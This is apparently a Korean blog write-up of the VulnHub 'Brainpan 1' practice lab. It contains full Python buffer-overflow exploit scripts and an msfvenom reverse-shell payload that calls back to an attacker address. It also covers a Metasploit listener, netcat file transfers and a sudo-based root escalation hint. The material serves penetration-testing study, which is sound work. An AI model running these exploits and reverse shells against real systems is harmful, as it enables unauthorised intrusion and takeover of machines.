1. nmap -sC -sV -O 192.168.10.6 -oA /attack/initial
스캔 되는 동안
ssh 192.168.10.6
ftp 192.168.10.6
nc 192.168.10.6 80
접속 시도 : 모두 거절됨
열린 포트는 2개
9999, 10000번
HTTP 서버 포트가 10000번
Data 출력을 보니 BOF 관련 문제로 보임
2. 웹 퍼징
숨겨져 있는 디렉터리 검색
# ./webenum.sh 192.188.10.6:10000
#!/bin/bash
# Web Enumeration using Nikto & Dirb
# takudaddy
echo ; echo
echo "======================================================="
echo " Web Enumertation tool "
echo " by takudaddy "
echo " "
echo "======================================================="
echo ; echo
if [ -z "$1" ] ; then # -z 문자열의 길이가 0이면 참, 반대는 -n
echo
echo "[ Error ] 호스트 IP 정보를 입력하세요!"
exit
else
echo "[ Running ] Nikto against $1"
nikto -h $1
echo ; echo
echo "[ Running ] Dirb against $1"
dirb http://$1 /usr/share/wordlists/dirb/common.txt
echo ; echo
echo "[ Rinning ] WFUZZ against $1"
wfuzz -c -w /usr/share/wordlists/wfuzz/general/common.txt --hc 404 http://$1/FUZZ
fi
세분화 하면 아래와 같음
# dirb http://192.168.10.6:10000 /usr/share/dirb/wordlists/common.txt
or
# wfuzz -c -w /usr/share/wordlists/wfuzz/general/common.txt --hc 404 http://192.168.10.6/FUZZ
# dirbuster
: 결과 '/bin' 디렉터리 찾음
3. Page 검색
# firefox 192.168.10.6:9999 &
# nc 192.168.10.6 9999
# firefox 192.168.10.6:10000 &
# firefox 192.168.10.6:10000/bin
4. 파일 다운로드 및 확인
# wget http://192.168.10.6:10000/bin/brainpan.exe
파일 타입 확인 :
# file brainpan.exe
> PE32 executable for MS Windows
# strings brainpan.exe | grep strcpy (display printable strings in file)
윈도우 실행 파일이고
취약 함수인 strcpy가 들어있는 것으로 보아
버퍼오버플로우로 해결해야하는 문제가 확실한 듯.
해당 파일은
윈도우 서버에서 돌려도 되고
'wine'툴을 사용해 돌려도 된다.
# wine brainpan.exe
서버 소켓이 생성되고 9999포트에 바인딩 됨
연결 완료되면 다른 터미널 띄워 접속
# nc 127.0.0.1 9999
버퍼에 입력 값이 저장 되는것을 확인
5. 디버깅 작업
wine으로 immunity debugger 설치 후 사용.
: 설치가 안되어 삽질 좀 하다가 해결함.
요는 기존에 설치된 와인을 지우고
아래 방법으로 다시 깐 뒤 실행.
https://wiki.winehq.org/Debian
전체적인 공격 절차는 다음과 같다
: 로컬서버에서 디버깅 작업을 통해
BOF 공격에 필요한 값을 얻은 후
원격으로 타깃 서버를 공격한다.
그리고 디버깅 작업은 다음과 같다
1. offset 찾기 : 오프셋이란
기준이 되는 주소에 더해진 값,
즉, 두 번째 주소를 만들기 위해
기준이 되는 주소로부터 더해진 값을 의미한다.
어플리케이션에 충돌을 일으키는
정확한 바이트 수치를 알아낸다.
2. EIP / ESP 를 제어한다.
3. JMP ESP 를 찾는다.
4. Shell Code를 삽입한다.
디버깅 작업을 해보자.
1. 퍼징 툴 개발 :
파이썬으로 작성한 충돌 지점을 찾는 프로그램으로
버퍼에 A라는 데이터를 100개씩 보내며 충돌 지점을 찾도록 한다.
#!/usr/bin/python
import socket # 클라이언트 소켓 프로그램
buffer = ["A"]
counter = 100
while len(buffer) <= 10:
buffer.append("A" * counter)
counter = counter + 100 # increment by 100
try:
for string in buffer:
print("Fuzzing App with %s bytes!" % len(string))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(('127.0.0.1', 9999))
s.recv(1024)
s.send(string + '\r\n')
s.close()
except:
print("Could not connect to application, you might of crashed it!")
2. 퍼징 툴 실행
터미널을 두 개 띄워 실행,
첫 번째 터미널에서는 포트를 오픈해 주고
# wine brainpan.exe
다른 터미널에서는 프로그램을 돌려준다.
# ./fuzz.py
A를100개씩 버퍼에 쓰다가 700개째
충돌 메시지가 나온다. 좌측 터미널 하단 메시지를 보면
602 바이트까지 정상 입력된 것을 확인할 수 있다.
고로 offset 값은 대충 600 안쪽으로 상정할 수 있다.
3. Offset 값 찾기
보다 정확한 offset 바이트 값을 구하기 위해
metasploit에서 제공하는 툴인 pattern_create 을 활용해
반복되는 패턴 없는 유니크한 문자열을 생성한 뒤
버퍼에 보내 충돌을 일으키면 EIP가 정확한 offset 값을
보여줄 것이다.
3-1) 버퍼오버플로우용 기본
스켈레톤 프로그램을 먼저 만든다.
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = 'A' * 600
try:
print("\nSending malicious buffer.....")
s.connect(('127.0.0.1', 9999))
data = s.recv(1024)
s.send(buffer + '\r\n')
print("\nOverflowed!")
except:
print("[ FAIL ] Could not connect to braindump service")
3-2) 버퍼 값으로 쓸 unique string을 생성한다.
# locate pattern_create
# usr/share/metasploit-frameword/tools/exploit/pattern_create.rb -l 600
3-3) 생성 후 버퍼 값으로 넣어준다.
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9'
#buffer = 'A' * 600
try:
print("\nSending malicious buffer.....")
s.connect(('127.0.0.1', 9999))
data = s.recv(1024)
s.send(buffer + '\r\n')
print("\nOverflowed!")
except:
print("[ FAIL ] Could not connect to braindump service")
3-4) immunity debugger를 실행해
brainpan.exe 파일을 열고
터미널에서 프로그램을 실행시키면
# ./buffer_skel.py
의도대로 문자열이 카피되면서
버퍼 오버 플로우가 일어났고
충돌이 났기 때문에 에러 메시지와 함께
이뮤니티 디버거 툴 1번 패널의 어셈블리 코드가
보이지 않게 됨을 확인할 수 있다.
여기서 주목해야 할 것은
2번의 레지스터 패널에 나타난
EIP의 값이다. 35724134.
해당 값을 통해 우리가 찾으려는
offset의 정확한 바이트 사이즈를
확인할 수 있다.
3-5) EIP 값을 카피한 후
metasploit의 patter_offset을 활용해
값을 확인해 보자.
# locate patter_offset
# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134
정확한 offset 값은 524!
쉘을 띄우기 위해
메모리 구조를 파악해보자.
3-6)
우선 EIP 를 모두 우리 값으로
채워 넣어본다.
스켈레톤 파일을 열고
버퍼 값을 수정해준다.
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = 'A' * 524 + 'B' * 4 + 'C' * (600-524-4)
try:
print("\nSending malicious buffer.....")
s.connect(('127.0.0.1', 9999))
data = s.recv(1024)
s.send(buffer + '\r\n')
print("\nOverflowed!")
except:
print("[ FAIL ] Could not connect to braindump service")
디버거를 재실행 시킨 후
파일을 한번 돌려주고
스켈 프로그램을 돌려주면,
레지스터 패널에서 ESP 우클릭 >
follow in Dump 선택해
3번 패널에서 ESP의 메모리 내용을 보면
C(43)가 시작된 시점을 확인할 수 있고
우리가 쉘 코드를 얹어야 하는 지점 또한
확인할 수 있다.
3-7)
이번에는 ESP내에 쉘코드를 띄울 수 있는
충분한 여분 공간이 있는지 확인해야 한다.
(보통 쉘 코드가 300 bytes 정도 하고
대회가 아닌 이런 류의 문제는 용량 제한이
없는 편)
스켈레톤 파일의 버퍼 C 용량을 늘려 확인해보자.
'C' * (1400 -524-4)
프로그램 실행
디버거에서 ESP > follow in Dump
공간은 충분해 보인다.
여기까지 하면 디버깅 전체 테스크 중
1) offset 찾기
2) EIP / ESP 를 제어
까지 완료 되었다.
계속 진행해 보자
4. Bad characters
인터넷 상에서 구해도 되고
간단한 코드를 작성해도 되며
gdb로 직접 추출해도 된다.
코드로 작성시
dict = "abcdef0123456789"
for i in dict:
for j in dict:
print("\\x"+i+j)
\xaa\xab\xac\xad\xae\xaf\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xba\xbb\xbc\xbd\xbe\xbf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xca\xcb\xcc\xcd\xce\xcf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xda\xdb\xdc\xdd\xde\xdf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xea\xeb\xec\xed\xee\xef\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xfa\xfb\xfc\xfd\xfe\xff\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\x0a\x0b\x0c\x0d\x0e\x0f\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x1a\x1b\x1c\x1d\x1e\x1f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x2a\x2b\x2c\x2d\x2e\x2f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x3a\x3b\x3c\x3d\x3e\x3f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x4a\x4b\x4c\x4d\x4e\x4f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x5a\x5b\x5c\x5d\x5e\x5f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x6a\x6b\x6c\x6d\x6e\x6f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x7a\x7b\x7c\x7d\x7e\x7f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x8a\x8b\x8c\x8d\x8e\x8f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x9b\x9c\x9d\x9e\x9f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99
* 위 출력 내용 중 \x00(null byte는 찾아서 제거! 이유에 대한 설명은 아래있음)
gdb로 얻을 시
간단한 코드를 작성 후
#include <unistd.h>
int main(void){
char *name[2];
name[0]= "/bin/bash";
name[1]=NULL;
execvp(name[0], name);
}
gcc로 컴파일해 gdb로 추출한다.
# gcc -o shell shell.c
# gdb -q shell
gdb> disas main
gdb> x/xb main
엔터를 칠때마다 해당 함수가 끝날때까지
16진수 코드를 얻을 수 있다.
보기 좋게 정리한 코드
characters = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
해당 코드를 사용시 주의할점은
맨 처음 '\x00' 값은 제거해야 한다는 것인데
\x00은 char 형 변수의 내용을 읽는 중
문자열의 끝으로 인식하는 오류가 있다.
또한 \x90(NOP)이 있다면 마찬가지.
두 경우 모두 제거 후 사용한다.
\x00 = 다음에 나오는 모든 것 break
\x90 = no operation. 아무것도 하지 않음
스켈 코드에 반영 후 돌려본다.
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
buffer = 'A' * 524 + 'B' * 4 + shell
#'C'*(1400-524-4)
try:
print("\nSending malicious buffer.....")
s.connect(('127.0.0.1', 9999))
data = s.recv(1024)
s.send(buffer + '\r\n')
print("\nOverflowed!")
except:
print("[ FAIL ] Could not connect to braindump service")
정상적으로 입력되는 것을 확인 후
다시한 번 프로그램을 돌려
JMP ESP 포인트를 찾아본다.
특징은 해당 부분은 하나밖에 없고 해당 값은 절대 변하지 않는다.
대표사진 삭제
사진 설명을 입력하세요.
이 지점을 통해 쉘을 실행시킨다.
주소를 복사한 뒤 코드를 수정한다.
B가 들어갔던 부분에 리틀 엔디안 방식으로
주소를 넣어준다.
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#shell = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
#"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
#"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
#"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
#"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
#"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
#"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
#"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
# JMP ESP = 311712F3
buffer = 'A' * 524 + '\xF3\x12\x17\x31' + 'C' * (1400-524-4)
try:
print("\nSending malicious buffer.....")
s.connect(('127.0.0.1', 9999))
data = s.recv(1024)
s.send(buffer + '\r\n')
print("\nOverflowed!")
except:
print("[ FAIL ] Could not connect to braindump service")
디버거로 돌아와
JMP ESP 부분을 브레이크 포인트로 잡아주고
입력이 정상적으로 되었는지 살펴본다.
잘 되었으면 이제 쉘 코드를 작성해 넣으면 된다.
5. Shell Code 작성 및 삽입
payload 생성
# msfvenom -p linux/x86/shell/reverse_tcp -b \x00 LHOST=192.168.10.4 LPORT=8080 -f python
150 bytes
스켈 코드를 수정해 준다.
payload는 버퍼값에 넣고 혹시 몰라
추가 NOP(\x90) * 20을 payload 전에
추가해 주었다.
IP는 공격자 서버로 지정해 준다.
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#shell = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
#"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
#"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
#"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
#"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
#"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
#"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
#"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
buf = b""
buf += b"\xbd\x6b\x94\xd6\x64\xdb\xc0\xd9\x74\x24\xf4\x5a\x33"
buf += b"\xc9\xb1\x1f\x31\x6a\x15\x83\xea\xfc\x03\x6a\x11\xe2"
buf += b"\x9e\xfe\xdc\x3a\x51\x24\x17\x21\xc2\x99\x8b\xcc\xe6"
buf += b"\xad\x4a\x98\x07\x00\x12\x0d\x9c\xf3\xd3\x9a\x28\x00"
buf += b"\xbc\xd8\x2c\x17\xac\x54\xcd\x4d\xaa\x3e\x5d\xc3\x65"
buf += b"\x36\xbc\xa0\x44\xc8\xbb\xe7\x2e\xd0\x8d\x93\xed\x8a"
buf += b"\xb3\x5c\x0e\x4b\xeb\x36\x0e\x21\x0e\x4e\xed\x84\xd9"
buf += b"\x9d\x72\x63\x19\x64\xce\x87\xbe\x25\x37\xe1\xc0\x59"
buf += b"\x38\x11\x49\xba\xf9\xfa\x45\xfc\x19\xf0\xe5\x83\x10"
buf += b"\x89\x80\xbc\xd3\x9a\xd1\xb5\xc5\x02\x57\xaf\xb5\x36"
buf += b"\x5a\xb0\x33\xf8\x1c\xb3\xc4\x18\x64\xb2\x3a\xdb\x94"
buf += b"\x0e\x3b\xdb\x94\x70\xf1\x5b"
# JMP ESP = 311712F3
buffer = 'A'*524 + '\xF3\x12\x17\x31' + '\x90'*20 + buf
#'C' * (1400-524-4)
try:
print("\nSending malicious buffer.....")
s.connect(('192.168.10.6', 9999))
data = s.recv(1024)
s.send(buffer + '\r\n')
print("\nOverflowed!")
except:
print("[ FAIL ] Could not connect to braindump service")
위에서 생성한 payload는
reverse_tcp payload니
리스너를 만들어 줘야한다.
따로 rc 파일로 만들어 작업해도 되고
msfconsole 기동 후 작업해도 된다.
# cat << EOF >> listener.rc
> use exploit/multi/handler
> set payload linux/x86/shell/reverse_tcp
> set LHOST 192.168.10.4
> set LPORT 8080
> set ExitSession false
> exploit
리스너 기동
# msfconsole -q -r listener.rc
스켈 프로그램 기동
# ./buff_skel.py
연결 성공!
puck 이라는 유저로 접속에 성공했다.
6. ROOT 탈취
들어오면 해야 하는 작업 :
커널 종류 및 버전 체크
# uname -a
Ubuntu 3.5.0-25-generic
gcc 깔려있는지 여부 체크
# which gcc
...... 중략 ........................
위 작업을 한 번에 해주는 프로그램을
받아 돌린다. (되도록 만들자)
공격서버)
LinuxPrivChecker.py
취약서버로 보낸다.
# nc -lvp 443 < LinuxPrivChecker.py
침투서버)
/tmp 폴더로 이동해 받기
$ nc -nv 192.168.10.4 443 > check.py
$ chmod +x check.py
$ ./check.py
쉘 스크립트 버전
중요한 취약점을 찾았다!
$ sudo /home/anansi/bin/anansi_util manual vi
www.vulnhub.com/entry/brainpan-1,51/
이번부터는
자주 수행되는 작업들에 대해서
좀 더 효율적으로 수행하도록
프로그래밍화 하는 작업을 추가했고
'cherry tree'툴을 활용해
보고서 작업을 보다 수월하게 하도록
연습중이다.
'OSCP > Vulnahub' 카테고리의 다른 글
현 OSCP 코스 시스템과 비슷한 박스 시작 (0) | 2021.03.16 |
---|---|
7. HackLAB-Vulnix (0) | 2021.03.16 |
5. SickOs.1.2 (0) | 2021.03.10 |
4. VulnOSv2 (0) | 2021.03.06 |
3. Stapler (0) | 2021.02.10 |